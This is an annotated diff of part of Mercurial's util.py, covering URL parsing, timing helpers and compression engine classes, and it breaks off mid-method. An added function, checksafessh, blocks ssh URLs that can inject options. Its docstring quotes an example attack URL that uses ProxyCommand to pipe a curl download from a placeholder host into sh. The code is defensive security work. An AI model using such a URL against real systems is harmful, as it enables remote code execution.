2697 2697 if self._localpath:
2698 2698 self.path = ''
2699 2699 return
2700 2700 else:
2701 2701 if self._localpath:
2702 2702 self.path = path
2703 2703 return
2704 2704
2705 2705 if parsequery and '?' in path:
2706 2706 path, self.query = path.split('?', 1)
2707 2707 if not path:
2708 2708 path = None
2709 2709 if not self.query:
2710 2710 self.query = None
2711 2711
2712 2712 # // is required to specify a host/authority
2713 2713 if path and path.startswith('//'):
2714 2714 parts = path[2:].split('/', 1)
2715 2715 if len(parts) > 1:
2716 2716 self.host, path = parts
2717 2717 else:
2718 2718 self.host = parts[0]
2719 2719 path = None
2720 2720 if not self.host:
2721 2721 self.host = None
2722 2722 # path of file:///d is /d
2723 2723 # path of file:///d:/ is d:/, not /d:/
2724 2724 if path and not hasdriveletter(path):
2725 2725 path = '/' + path
2726 2726
2727 2727 if self.host and '@' in self.host:
2728 2728 self.user, self.host = self.host.rsplit('@', 1)
2729 2729 if ':' in self.user:
2730 2730 self.user, self.passwd = self.user.split(':', 1)
2731 2731 if not self.host:
2732 2732 self.host = None
2733 2733
2734 2734 # Don't split on colons in IPv6 addresses without ports
2735 2735 if (self.host and ':' in self.host and
2736 2736 not (self.host.startswith('[') and self.host.endswith(']'))):
2737 2737 self._hostport = self.host
2738 2738 self.host, self.port = self.host.rsplit(':', 1)
2739 2739 if not self.host:
2740 2740 self.host = None
2741 2741
2742 2742 if (self.host and self.scheme == 'file' and
2743 2743 self.host not in ('localhost', '127.0.0.1', '[::1]')):
2744 2744 raise Abort(_('file:// URLs can only refer to localhost'))
2745 2745
2746 2746 self.path = path
2747 2747
2748 2748 # leave the query string escaped
2749 2749 for a in ('user', 'passwd', 'host', 'port',
2750 2750 'path', 'fragment'):
2751 2751 v = getattr(self, a)
2752 2752 if v is not None:
2753 2753 setattr(self, a, urlreq.unquote(v))
2754 2754
2755 2755 def __repr__(self):
2756 2756 attrs = []
2757 2757 for a in ('scheme', 'user', 'passwd', 'host', 'port', 'path',
2758 2758 'query', 'fragment'):
2759 2759 v = getattr(self, a)
2760 2760 if v is not None:
2761 2761 attrs.append('%s: %r' % (a, v))
2762 2762 return '<url %s>' % ', '.join(attrs)
2763 2763
2764 2764 def __bytes__(self):
2765 2765 r"""Join the URL's components back into a URL string.
2766 2766
2767 2767 Examples:
2768 2768
2769 2769 >>> str(url('http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
2770 2770 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
2771 2771 >>> str(url('http://user:pw@host:80/?foo=bar&baz=42'))
2772 2772 'http://user:pw@host:80/?foo=bar&baz=42'
2773 2773 >>> str(url('http://user:pw@host:80/?foo=bar%3dbaz'))
2774 2774 'http://user:pw@host:80/?foo=bar%3dbaz'
2775 2775 >>> str(url('ssh://user:pw@[::1]:2200//home/joe#'))
2776 2776 'ssh://user:pw@[::1]:2200//home/joe#'
2777 2777 >>> str(url('http://localhost:80//'))
2778 2778 'http://localhost:80//'
2779 2779 >>> str(url('http://localhost:80/'))
2780 2780 'http://localhost:80/'
2781 2781 >>> str(url('http://localhost:80'))
2782 2782 'http://localhost:80/'
2783 2783 >>> str(url('bundle:foo'))
2784 2784 'bundle:foo'
2785 2785 >>> str(url('bundle://../foo'))
2786 2786 'bundle:../foo'
2787 2787 >>> str(url('path'))
2788 2788 'path'
2789 2789 >>> str(url('file:///tmp/foo/bar'))
2790 2790 'file:///tmp/foo/bar'
2791 2791 >>> str(url('file:///c:/tmp/foo/bar'))
2792 2792 'file:///c:/tmp/foo/bar'
2793 2793 >>> print url(r'bundle:foo\bar')
2794 2794 bundle:foo\bar
2795 2795 >>> print url(r'file:///D:\data\hg')
2796 2796 file:///D:\data\hg
2797 2797 """
2798 2798 if self._localpath:
2799 2799 s = self.path
2800 2800 if self.scheme == 'bundle':
2801 2801 s = 'bundle:' + s
2802 2802 if self.fragment:
2803 2803 s += '#' + self.fragment
2804 2804 return s
2805 2805
2806 2806 s = self.scheme + ':'
2807 2807 if self.user or self.passwd or self.host:
2808 2808 s += '//'
2809 2809 elif self.scheme and (not self.path or self.path.startswith('/')
2810 2810 or hasdriveletter(self.path)):
2811 2811 s += '//'
2812 2812 if hasdriveletter(self.path):
2813 2813 s += '/'
2814 2814 if self.user:
2815 2815 s += urlreq.quote(self.user, safe=self._safechars)
2816 2816 if self.passwd:
2817 2817 s += ':' + urlreq.quote(self.passwd, safe=self._safechars)
2818 2818 if self.user or self.passwd:
2819 2819 s += '@'
2820 2820 if self.host:
2821 2821 if not (self.host.startswith('[') and self.host.endswith(']')):
2822 2822 s += urlreq.quote(self.host)
2823 2823 else:
2824 2824 s += self.host
2825 2825 if self.port:
2826 2826 s += ':' + urlreq.quote(self.port)
2827 2827 if self.host:
2828 2828 s += '/'
2829 2829 if self.path:
2830 2830 # TODO: similar to the query string, we should not unescape the
2831 2831 # path when we store it, the path might contain '%2f' = '/',
2832 2832 # which we should *not* escape.
2833 2833 s += urlreq.quote(self.path, safe=self._safepchars)
2834 2834 if self.query:
2835 2835 # we store the query in escaped form.
2836 2836 s += '?' + self.query
2837 2837 if self.fragment is not None:
2838 2838 s += '#' + urlreq.quote(self.fragment, safe=self._safepchars)
2839 2839 return s
2840 2840
2841 2841 __str__ = encoding.strmethod(__bytes__)
2842 2842
2843 2843 def authinfo(self):
2844 2844 user, passwd = self.user, self.passwd
2845 2845 try:
2846 2846 self.user, self.passwd = None, None
2847 2847 s = bytes(self)
2848 2848 finally:
2849 2849 self.user, self.passwd = user, passwd
2850 2850 if not self.user:
2851 2851 return (s, None)
2852 2852 # authinfo[1] is passed to urllib2 password manager, and its
2853 2853 # URIs must not contain credentials. The host is passed in the
2854 2854 # URIs list because Python < 2.4.3 uses only that to search for
2855 2855 # a password.
2856 2856 return (s, (None, (s, self.host),
2857 2857 self.user, self.passwd or ''))
2858 2858
2859 2859 def isabs(self):
2860 2860 if self.scheme and self.scheme != 'file':
2861 2861 return True # remote URL
2862 2862 if hasdriveletter(self.path):
2863 2863 return True # absolute for our purposes - can't be joined()
2864 2864 if self.path.startswith(br'\\'):
2865 2865 return True # Windows UNC path
2866 2866 if self.path.startswith('/'):
2867 2867 return True # POSIX-style
2868 2868 return False
2869 2869
2870 2870 def localpath(self):
2871 2871 if self.scheme == 'file' or self.scheme == 'bundle':
2872 2872 path = self.path or '/'
2873 2873 # For Windows, we need to promote hosts containing drive
2874 2874 # letters to paths with drive letters.
2875 2875 if hasdriveletter(self._hostport):
2876 2876 path = self._hostport + '/' + self.path
2877 2877 elif (self.host is not None and self.path
2878 2878 and not hasdriveletter(path)):
2879 2879 path = '/' + path
2880 2880 return path
2881 2881 return self._origpath
2882 2882
2883 2883 def islocal(self):
2884 2884 '''whether localpath will return something that posixfile can open'''
2885 2885 return (not self.scheme or self.scheme == 'file'
2886 2886 or self.scheme == 'bundle')
2887 2887
2888 2888 def hasscheme(path):
2889 2889 return bool(url(path).scheme)
2890 2890
2891 2891 def hasdriveletter(path):
2892 2892 return path and path[1:2] == ':' and path[0:1].isalpha()
2893 2893
2894 2894 def urllocalpath(path):
2895 2895 return url(path, parsequery=False, parsefragment=False).localpath()
2896 2896
2897 def checksafessh(path):
2898 """check if a path / url is a potentially unsafe ssh exploit (SEC)
2899
2900 This is a sanity check for ssh urls. ssh will parse the first item as
2901 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
2902 Let's prevent these potentially exploited urls entirely and warn the
2903 user.
2904
2905 Raises an error.Abort when the url is unsafe.
2906 """
2907 path = urlreq.unquote(path)
2908 if path.startswith('ssh://-') or '|' in path:
2909 raise error.Abort(_('potentially unsafe url: %r') %
2910 (path,))
2911
2897 2912 def hidepassword(u):
2898 2913 '''hide user credential in a url string'''
2899 2914 u = url(u)
2900 2915 if u.passwd:
2901 2916 u.passwd = '***'
2902 2917 return bytes(u)
2903 2918
2904 2919 def removeauth(u):
2905 2920 '''remove all authentication information from a url string'''
2906 2921 u = url(u)
2907 2922 u.user = u.passwd = None
2908 2923 return str(u)
2909 2924
2910 2925 timecount = unitcountfn(
2911 2926 (1, 1e3, _('%.0f s')),
2912 2927 (100, 1, _('%.1f s')),
2913 2928 (10, 1, _('%.2f s')),
2914 2929 (1, 1, _('%.3f s')),
2915 2930 (100, 0.001, _('%.1f ms')),
2916 2931 (10, 0.001, _('%.2f ms')),
2917 2932 (1, 0.001, _('%.3f ms')),
2918 2933 (100, 0.000001, _('%.1f us')),
2919 2934 (10, 0.000001, _('%.2f us')),
2920 2935 (1, 0.000001, _('%.3f us')),
2921 2936 (100, 0.000000001, _('%.1f ns')),
2922 2937 (10, 0.000000001, _('%.2f ns')),
2923 2938 (1, 0.000000001, _('%.3f ns')),
2924 2939 )
2925 2940
2926 2941 _timenesting = [0]
2927 2942
2928 2943 def timed(func):
2929 2944 '''Report the execution time of a function call to stderr.
2930 2945
2931 2946 During development, use as a decorator when you need to measure
2932 2947 the cost of a function, e.g. as follows:
2933 2948
2934 2949 @util.timed
2935 2950 def foo(a, b, c):
2936 2951 pass
2937 2952 '''
2938 2953
2939 2954 def wrapper(*args, **kwargs):
2940 2955 start = timer()
2941 2956 indent = 2
2942 2957 _timenesting[0] += indent
2943 2958 try:
2944 2959 return func(*args, **kwargs)
2945 2960 finally:
2946 2961 elapsed = timer() - start
2947 2962 _timenesting[0] -= indent
2948 2963 stderr.write('%s%s: %s\n' %
2949 2964 (' ' * _timenesting[0], func.__name__,
2950 2965 timecount(elapsed)))
2951 2966 return wrapper
2952 2967
2953 2968 _sizeunits = (('m', 2**20), ('k', 2**10), ('g', 2**30),
2954 2969 ('kb', 2**10), ('mb', 2**20), ('gb', 2**30), ('b', 1))
2955 2970
2956 2971 def sizetoint(s):
2957 2972 '''Convert a space specifier to a byte count.
2958 2973
2959 2974 >>> sizetoint('30')
2960 2975 30
2961 2976 >>> sizetoint('2.2kb')
2962 2977 2252
2963 2978 >>> sizetoint('6M')
2964 2979 6291456
2965 2980 '''
2966 2981 t = s.strip().lower()
2967 2982 try:
2968 2983 for k, u in _sizeunits:
2969 2984 if t.endswith(k):
2970 2985 return int(float(t[:-len(k)]) * u)
2971 2986 return int(t)
2972 2987 except ValueError:
2973 2988 raise error.ParseError(_("couldn't parse size: %s") % s)
2974 2989
2975 2990 class hooks(object):
2976 2991 '''A collection of hook functions that can be used to extend a
2977 2992 function's behavior. Hooks are called in lexicographic order,
2978 2993 based on the names of their sources.'''
2979 2994
2980 2995 def __init__(self):
2981 2996 self._hooks = []
2982 2997
2983 2998 def add(self, source, hook):
2984 2999 self._hooks.append((source, hook))
2985 3000
2986 3001 def __call__(self, *args):
2987 3002 self._hooks.sort(key=lambda x: x[0])
2988 3003 results = []
2989 3004 for source, hook in self._hooks:
2990 3005 results.append(hook(*args))
2991 3006 return results
2992 3007
2993 3008 def getstackframes(skip=0, line=' %-*s in %s\n', fileline='%s:%s', depth=0):
2994 3009 '''Yields lines for a nicely formatted stacktrace.
2995 3010 Skips the 'skip' last entries, then return the last 'depth' entries.
2996 3011 Each file+linenumber is formatted according to fileline.
2997 3012 Each line is formatted according to line.
2998 3013 If line is None, it yields:
2999 3014 length of longest filepath+line number,
3000 3015 filepath+linenumber,
3001 3016 function
3002 3017
3003 3018 Not be used in production code but very convenient while developing.
3004 3019 '''
3005 3020 entries = [(fileline % (fn, ln), func)
3006 3021 for fn, ln, func, _text in traceback.extract_stack()[:-skip - 1]
3007 3022 ][-depth:]
3008 3023 if entries:
3009 3024 fnmax = max(len(entry[0]) for entry in entries)
3010 3025 for fnln, func in entries:
3011 3026 if line is None:
3012 3027 yield (fnmax, fnln, func)
3013 3028 else:
3014 3029 yield line % (fnmax, fnln, func)
3015 3030
3016 3031 def debugstacktrace(msg='stacktrace', skip=0,
3017 3032 f=stderr, otherf=stdout, depth=0):
3018 3033 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
3019 3034 Skips the 'skip' entries closest to the call, then show 'depth' entries.
3020 3035 By default it will flush stdout first.
3021 3036 It can be used everywhere and intentionally does not require an ui object.
3022 3037 Not be used in production code but very convenient while developing.
3023 3038 '''
3024 3039 if otherf:
3025 3040 otherf.flush()
3026 3041 f.write('%s at:\n' % msg.rstrip())
3027 3042 for line in getstackframes(skip + 1, depth=depth):
3028 3043 f.write(line)
3029 3044 f.flush()
3030 3045
3031 3046 class dirs(object):
3032 3047 '''a multiset of directory names from a dirstate or manifest'''
3033 3048
3034 3049 def __init__(self, map, skip=None):
3035 3050 self._dirs = {}
3036 3051 addpath = self.addpath
3037 3052 if safehasattr(map, 'iteritems') and skip is not None:
3038 3053 for f, s in map.iteritems():
3039 3054 if s[0] != skip:
3040 3055 addpath(f)
3041 3056 else:
3042 3057 for f in map:
3043 3058 addpath(f)
3044 3059
3045 3060 def addpath(self, path):
3046 3061 dirs = self._dirs
3047 3062 for base in finddirs(path):
3048 3063 if base in dirs:
3049 3064 dirs[base] += 1
3050 3065 return
3051 3066 dirs[base] = 1
3052 3067
3053 3068 def delpath(self, path):
3054 3069 dirs = self._dirs
3055 3070 for base in finddirs(path):
3056 3071 if dirs[base] > 1:
3057 3072 dirs[base] -= 1
3058 3073 return
3059 3074 del dirs[base]
3060 3075
3061 3076 def __iter__(self):
3062 3077 return iter(self._dirs)
3063 3078
3064 3079 def __contains__(self, d):
3065 3080 return d in self._dirs
3066 3081
3067 3082 if safehasattr(parsers, 'dirs'):
3068 3083 dirs = parsers.dirs
3069 3084
3070 3085 def finddirs(path):
3071 3086 pos = path.rfind('/')
3072 3087 while pos != -1:
3073 3088 yield path[:pos]
3074 3089 pos = path.rfind('/', 0, pos)
3075 3090
3076 3091 # compression code
3077 3092
3078 3093 SERVERROLE = 'server'
3079 3094 CLIENTROLE = 'client'
3080 3095
3081 3096 compewireprotosupport = collections.namedtuple(u'compenginewireprotosupport',
3082 3097 (u'name', u'serverpriority',
3083 3098 u'clientpriority'))
3084 3099
3085 3100 class compressormanager(object):
3086 3101 """Holds registrations of various compression engines.
3087 3102
3088 3103 This class essentially abstracts the differences between compression
3089 3104 engines to allow new compression formats to be added easily, possibly from
3090 3105 extensions.
3091 3106
3092 3107 Compressors are registered against the global instance by calling its
3093 3108 ``register()`` method.
3094 3109 """
3095 3110 def __init__(self):
3096 3111 self._engines = {}
3097 3112 # Bundle spec human name to engine name.
3098 3113 self._bundlenames = {}
3099 3114 # Internal bundle identifier to engine name.
3100 3115 self._bundletypes = {}
3101 3116 # Revlog header to engine name.
3102 3117 self._revlogheaders = {}
3103 3118 # Wire proto identifier to engine name.
3104 3119 self._wiretypes = {}
3105 3120
3106 3121 def __getitem__(self, key):
3107 3122 return self._engines[key]
3108 3123
3109 3124 def __contains__(self, key):
3110 3125 return key in self._engines
3111 3126
3112 3127 def __iter__(self):
3113 3128 return iter(self._engines.keys())
3114 3129
3115 3130 def register(self, engine):
3116 3131 """Register a compression engine with the manager.
3117 3132
3118 3133 The argument must be a ``compressionengine`` instance.
3119 3134 """
3120 3135 if not isinstance(engine, compressionengine):
3121 3136 raise ValueError(_('argument must be a compressionengine'))
3122 3137
3123 3138 name = engine.name()
3124 3139
3125 3140 if name in self._engines:
3126 3141 raise error.Abort(_('compression engine %s already registered') %
3127 3142 name)
3128 3143
3129 3144 bundleinfo = engine.bundletype()
3130 3145 if bundleinfo:
3131 3146 bundlename, bundletype = bundleinfo
3132 3147
3133 3148 if bundlename in self._bundlenames:
3134 3149 raise error.Abort(_('bundle name %s already registered') %
3135 3150 bundlename)
3136 3151 if bundletype in self._bundletypes:
3137 3152 raise error.Abort(_('bundle type %s already registered by %s') %
3138 3153 (bundletype, self._bundletypes[bundletype]))
3139 3154
3140 3155 # No external facing name declared.
3141 3156 if bundlename:
3142 3157 self._bundlenames[bundlename] = name
3143 3158
3144 3159 self._bundletypes[bundletype] = name
3145 3160
3146 3161 wiresupport = engine.wireprotosupport()
3147 3162 if wiresupport:
3148 3163 wiretype = wiresupport.name
3149 3164 if wiretype in self._wiretypes:
3150 3165 raise error.Abort(_('wire protocol compression %s already '
3151 3166 'registered by %s') %
3152 3167 (wiretype, self._wiretypes[wiretype]))
3153 3168
3154 3169 self._wiretypes[wiretype] = name
3155 3170
3156 3171 revlogheader = engine.revlogheader()
3157 3172 if revlogheader and revlogheader in self._revlogheaders:
3158 3173 raise error.Abort(_('revlog header %s already registered by %s') %
3159 3174 (revlogheader, self._revlogheaders[revlogheader]))
3160 3175
3161 3176 if revlogheader:
3162 3177 self._revlogheaders[revlogheader] = name
3163 3178
3164 3179 self._engines[name] = engine
3165 3180
3166 3181 @property
3167 3182 def supportedbundlenames(self):
3168 3183 return set(self._bundlenames.keys())
3169 3184
3170 3185 @property
3171 3186 def supportedbundletypes(self):
3172 3187 return set(self._bundletypes.keys())
3173 3188
3174 3189 def forbundlename(self, bundlename):
3175 3190 """Obtain a compression engine registered to a bundle name.
3176 3191
3177 3192 Will raise KeyError if the bundle type isn't registered.
3178 3193
3179 3194 Will abort if the engine is known but not available.
3180 3195 """
3181 3196 engine = self._engines[self._bundlenames[bundlename]]
3182 3197 if not engine.available():
3183 3198 raise error.Abort(_('compression engine %s could not be loaded') %
3184 3199 engine.name())
3185 3200 return engine
3186 3201
3187 3202 def forbundletype(self, bundletype):
3188 3203 """Obtain a compression engine registered to a bundle type.
3189 3204
3190 3205 Will raise KeyError if the bundle type isn't registered.
3191 3206
3192 3207 Will abort if the engine is known but not available.
3193 3208 """
3194 3209 engine = self._engines[self._bundletypes[bundletype]]
3195 3210 if not engine.available():
3196 3211 raise error.Abort(_('compression engine %s could not be loaded') %
3197 3212 engine.name())
3198 3213 return engine
3199 3214
3200 3215 def supportedwireengines(self, role, onlyavailable=True):
3201 3216 """Obtain compression engines that support the wire protocol.
3202 3217
3203 3218 Returns a list of engines in prioritized order, most desired first.
3204 3219
3205 3220 If ``onlyavailable`` is set, filter out engines that can't be
3206 3221 loaded.
3207 3222 """
3208 3223 assert role in (SERVERROLE, CLIENTROLE)
3209 3224
3210 3225 attr = 'serverpriority' if role == SERVERROLE else 'clientpriority'
3211 3226
3212 3227 engines = [self._engines[e] for e in self._wiretypes.values()]
3213 3228 if onlyavailable:
3214 3229 engines = [e for e in engines if e.available()]
3215 3230
3216 3231 def getkey(e):
3217 3232 # Sort first by priority, highest first. In case of tie, sort
3218 3233 # alphabetically. This is arbitrary, but ensures output is
3219 3234 # stable.
3220 3235 w = e.wireprotosupport()
3221 3236 return -1 * getattr(w, attr), w.name
3222 3237
3223 3238 return list(sorted(engines, key=getkey))
3224 3239
3225 3240 def forwiretype(self, wiretype):
3226 3241 engine = self._engines[self._wiretypes[wiretype]]
3227 3242 if not engine.available():
3228 3243 raise error.Abort(_('compression engine %s could not be loaded') %
3229 3244 engine.name())
3230 3245 return engine
3231 3246
3232 3247 def forrevlogheader(self, header):
3233 3248 """Obtain a compression engine registered to a revlog header.
3234 3249
3235 3250 Will raise KeyError if the revlog header value isn't registered.
3236 3251 """
3237 3252 return self._engines[self._revlogheaders[header]]
3238 3253
3239 3254 compengines = compressormanager()
3240 3255
3241 3256 class compressionengine(object):
3242 3257 """Base class for compression engines.
3243 3258
3244 3259 Compression engines must implement the interface defined by this class.
3245 3260 """
3246 3261 def name(self):
3247 3262 """Returns the name of the compression engine.
3248 3263
3249 3264 This is the key the engine is registered under.
3250 3265
3251 3266 This method must be implemented.
3252 3267 """
3253 3268 raise NotImplementedError()
3254 3269
3255 3270 def available(self):
3256 3271 """Whether the compression engine is available.
3257 3272
3258 3273 The intent of this method is to allow optional compression engines
3259 3274 that may not be available in all installations (such as engines relying
3260 3275 on C extensions that may not be present).
3261 3276 """
3262 3277 return True
3263 3278
3264 3279 def bundletype(self):
3265 3280 """Describes bundle identifiers for this engine.
3266 3281
3267 3282 If this compression engine isn't supported for bundles, returns None.
3268 3283
3269 3284 If this engine can be used for bundles, returns a 2-tuple of strings of
3270 3285 the user-facing "bundle spec" compression name and an internal
3271 3286 identifier used to denote the compression format within bundles. To
3272 3287 exclude the name from external usage, set the first element to ``None``.
3273 3288
3274 3289 If bundle compression is supported, the class must also implement
3275 3290 ``compressstream`` and `decompressorreader``.
3276 3291
3277 3292 The docstring of this method is used in the help system to tell users
3278 3293 about this engine.
3279 3294 """
3280 3295 return None
3281 3296
3282 3297 def wireprotosupport(self):
3283 3298 """Declare support for this compression format on the wire protocol.
3284 3299
3285 3300 If this compression engine isn't supported for compressing wire
3286 3301 protocol payloads, returns None.
3287 3302
3288 3303 Otherwise, returns ``compenginewireprotosupport`` with the following
3289 3304 fields:
3290 3305
3291 3306 * String format identifier
3292 3307 * Integer priority for the server
3293 3308 * Integer priority for the client
3294 3309
3295 3310 The integer priorities are used to order the advertisement of format
3296 3311 support by server and client. The highest integer is advertised
3297 3312 first. Integers with non-positive values aren't advertised.
3298 3313
3299 3314 The priority values are somewhat arbitrary and only used for default
3300 3315 ordering. The relative order can be changed via config options.
3301 3316
3302 3317 If wire protocol compression is supported, the class must also implement
3303 3318 ``compressstream`` and ``decompressorreader``.
3304 3319 """
3305 3320 return None
3306 3321
3307 3322 def revlogheader(self):
3308 3323 """Header added to revlog chunks that identifies this engine.
3309 3324
3310 3325 If this engine can be used to compress revlogs, this method should
3311 3326 return the bytes used to identify chunks compressed with this engine.
3312 3327 Else, the method should return ``None`` to indicate it does not
3313 3328 participate in revlog compression.
3314 3329 """
3315 3330 return None
3316 3331
3317 3332 def compressstream(self, it, opts=None):
3318 3333 """Compress an iterator of chunks.
3319 3334
3320 3335 The method receives an iterator (ideally a generator) of chunks of
3321 3336 bytes to be compressed. It returns an iterator (ideally a generator)
3322 3337 of bytes of chunks representing the compressed output.
3323 3338
3324 3339 Optionally accepts an argument defining how to perform compression.
3325 3340 Each engine treats this argument differently.
3326 3341 """
3327 3342 raise NotImplementedError()
3328 3343
3329 3344 def decompressorreader(self, fh):
3330 3345 """Perform decompression on a file object.
3331 3346
3332 3347 Argument is an object with a ``read(size)`` method that returns
3333 3348 compressed data. Return value is an object with a ``read(size)`` that
3334 3349 returns uncompressed data.
3335 3350 """
3336 3351 raise NotImplementedError()
3337 3352
3338 3353 def revlogcompressor(self, opts=None):
3339 3354 """Obtain an object that can be used to compress revlog entries.
3340 3355
3341 3356 The object has a ``compress(data)`` method that compresses binary
3342 3357 data. This method returns compressed binary data or ``None`` if
3343 3358 the data could not be compressed (too small, not compressible, etc).
3344 3359 The returned data should have a header uniquely identifying this
3345 3360 compression format so decompression can be routed to this engine.
3346 3361 This header should be identified by the ``revlogheader()`` return
3347 3362 value.
3348 3363
3349 3364 The object has a ``decompress(data)`` method that decompresses
3350 3365 data. The method will only be called if ``data`` begins with
3351 3366 ``revlogheader()``. The method should return the raw, uncompressed
3352 3367 data or raise a ``RevlogError``.
3353 3368
3354 3369 The object is reusable but is not thread safe.
3355 3370 """
3356 3371 raise NotImplementedError()
3357 3372
3358 3373 class _zlibengine(compressionengine):
3359 3374 def name(self):
3360 3375 return 'zlib'
3361 3376
3362 3377 def bundletype(self):
3363 3378 """zlib compression using the DEFLATE algorithm.
3364 3379
3365 3380 All Mercurial clients should support this format. The compression
3366 3381 algorithm strikes a reasonable balance between compression ratio
3367 3382 and size.
3368 3383 """
3369 3384 return 'gzip', 'GZ'
3370 3385
3371 3386 def wireprotosupport(self):
3372 3387 return compewireprotosupport('zlib', 20, 20)
3373 3388
3374 3389 def revlogheader(self):
3375 3390 return 'x'
3376 3391
3377 3392 def compressstream(self, it, opts=None):
3378 3393 opts = opts or {}
3379 3394
3380 3395 z = zlib.compressobj(opts.get('level', -1))
3381 3396 for chunk in it:
3382 3397 data = z.compress(chunk)
3383 3398 # Not all calls to compress emit data. It is cheaper to inspect
3384 3399 # here than to feed empty chunks through generator.
3385 3400 if data:
3386 3401 yield data
3387 3402
3388 3403 yield z.flush()
3389 3404
3390 3405 def decompressorreader(self, fh):
3391 3406 def gen():
3392 3407 d = zlib.decompressobj()
3393 3408 for chunk in filechunkiter(fh):
3394 3409 while chunk:
3395 3410 # Limit output size to limit memory.
3396 3411 yield d.decompress(chunk, 2 ** 18)
3397 3412 chunk = d.unconsumed_tail
3398 3413
3399 3414 return chunkbuffer(gen())
3400 3415
3401 3416 class zlibrevlogcompressor(object):
3402 3417 def compress(self, data):
3403 3418 insize = len(data)
3404 3419 # Caller handles empty input case.
3405 3420 assert insize > 0
3406 3421
3407 3422 if insize < 44:
3408 3423 return None
3409 3424
3410 3425 elif insize <= 1000000:
3411 3426 compressed = zlib.compress(data)
3412 3427 if len(compressed) < insize:
3413 3428 return compressed
3414 3429 return None
3415 3430
3416 3431 # zlib makes an internal copy of the input buffer, doubling
3417 3432 # memory usage for large inputs. So do streaming compression
3418 3433 # on large inputs.
3419 3434 else:
3420 3435 z = zlib.compressobj()
3421 3436 parts = []
3422 3437 pos = 0
3423 3438 while pos < insize:
3424 3439 pos2 = pos + 2**20
3425 3440 parts.append(z.compress(data[pos:pos2]))
3426 3441 pos = pos2
3427 3442 parts.append(z.flush())
3428 3443
3429 3444 if sum(map(len, parts)) < insize:
3430 3445 return ''.join(parts)
3431 3446 return None
3432 3447
3433 3448 def decompress(self, data):
3434 3449 try:
3435 3450 return zlib.decompress(data)
3436 3451 except zlib.error as e:
3437 3452 raise error.RevlogError(_('revlog decompress error: %s') %
3438 3453 str(e))
3439 3454
3440 3455 def revlogcompressor(self, opts=None):
3441 3456 return self.zlibrevlogcompressor()
3442 3457
3443 3458 compengines.register(_zlibengine())
3444 3459
3445 3460 class _bz2engine(compressionengine):
3446 3461 def name(self):
3447 3462 return 'bz2'
3448 3463
3449 3464 def bundletype(self):
3450 3465 """An algorithm that produces smaller bundles than ``gzip``.
3451 3466
3452 3467 All Mercurial clients should support this format.
3453 3468
3454 3469 This engine will likely produce smaller bundles than ``gzip`` but
3455 3470 will be significantly slower, both during compression and
3456 3471 decompression.
3457 3472
3458 3473 If available, the ``zstd`` engine can yield similar or better
3459 3474 compression at much higher speeds.
3460 3475 """
3461 3476 return 'bzip2', 'BZ'
3462 3477
3463 3478 # We declare a protocol name but don't advertise by default because
3464 3479 # it is slow.
3465 3480 def wireprotosupport(self):
3466 3481 return compewireprotosupport('bzip2', 0, 0)
3467 3482
3468 3483 def compressstream(self, it, opts=None):
3469 3484 opts = opts or {}
3470 3485 z = bz2.BZ2Compressor(opts.get('level', 9))
3471 3486 for chunk in it:
3472 3487 data = z.compress(chunk)
3473 3488 if data:
3474 3489 yield data
3475 3490
3476 3491 yield z.flush()
3477 3492
3478 3493 def decompressorreader(self, fh):
3479 3494 def gen():
3480 3495 d = bz2.BZ2Decompressor()
3481 3496 for chunk in filechunkiter(fh):
3482 3497 yield d.decompress(chunk)
3483 3498
3484 3499 return chunkbuffer(gen())
3485 3500
3486 3501 compengines.register(_bz2engine())
3487 3502
3488 3503 class _truncatedbz2engine(compressionengine):
3489 3504 def name(self):
3490 3505 return 'bz2truncated'
3491 3506
3492 3507 def bundletype(self):
3493 3508 return None, '_truncatedBZ'
3494 3509
3495 3510 # We don't implement compressstream because it is hackily handled elsewhere.
3496 3511
3497 3512 def decompressorreader(self, fh):
3498 3513 def gen():
3499 3514 # The input stream doesn't have the 'BZ' header. So add it back.
3500 3515 d = bz2.BZ2Decompressor()
3501 3516 d.decompress('BZ')
3502 3517 for chunk in filechunkiter(fh):
3503 3518 yield d.decompress(chunk)
3504 3519
3505 3520 return chunkbuffer(gen())
3506 3521
3507 3522 compengines.register(_truncatedbz2engine())
3508 3523
3509 3524 class _noopengine(compressionengine):
3510 3525 def name(self):
3511 3526 return 'none'
3512 3527
3513 3528 def bundletype(self):
3514 3529 """No compression is performed.
3515 3530
3516 3531 Use this compression engine to explicitly disable compression.
3517 3532 """
3518 3533 return 'none', 'UN'
3519 3534
3520 3535 # Clients always support uncompressed payloads. Servers don't because
3521 3536 # unless you are on a fast network, uncompressed payloads can easily
3522 3537 # saturate your network pipe.
3523 3538 def wireprotosupport(self):
3524 3539 return compewireprotosupport('none', 0, 10)
3525 3540
3526 3541 # We don't implement revlogheader because it is handled specially
3527 3542 # in the revlog class.
3528 3543
3529 3544 def compressstream(self, it, opts=None):
3530 3545 return it
3531 3546
3532 3547 def decompressorreader(self, fh):
3533 3548 return fh
3534 3549
3535 3550 class nooprevlogcompressor(object):
3536 3551 def compress(self, data):
3537 3552 return None
3538 3553
3539 3554 def revlogcompressor(self, opts=None):
3540 3555 return self.nooprevlogcompressor()
3541 3556
3542 3557 compengines.register(_noopengine())
3543 3558
3544 3559 class _zstdengine(compressionengine):
3545 3560 def name(self):
3546 3561 return 'zstd'
3547 3562
3548 3563 @propertycache
3549 3564 def _module(self):
3550 3565 # Not all installs have the zstd module available. So defer importing
3551 3566 # until first access.
3552 3567 try:
3553 3568 from . import zstd
3554 3569 # Force delayed import.
3555 3570 zstd.__version__
3556 3571 return zstd
3557 3572 except ImportError:
3558 3573 return None
3559 3574
3560 3575 def available(self):
3561 3576 return bool(self._module)
3562 3577
3563 3578 def bundletype(self):
3564 3579 """A modern compression algorithm that is fast and highly flexible.
3565 3580
3566 3581 Only supported by Mercurial 4.1 and newer clients.
3567 3582
3568 3583 With the default settings, zstd compression is both faster and yields
3569 3584 better compression than ``gzip``. It also frequently yields better
3570 3585 compression than ``bzip2`` while operating at much higher speeds.
3571 3586
3572 3587 If this engine is available and backwards compatibility is not a
3573 3588 concern, it is likely the best available engine.
3574 3589 """
3575 3590 return 'zstd', 'ZS'
3576 3591
3577 3592 def wireprotosupport(self):
3578 3593 return compewireprotosupport('zstd', 50, 50)
3579 3594
3580 3595 def revlogheader(self):
3581 3596 return '\x28'
3582 3597
3583 3598 def compressstream(self, it, opts=None):
3584 3599 opts = opts or {}
3585 3600 # zstd level 3 is almost always significantly faster than zlib
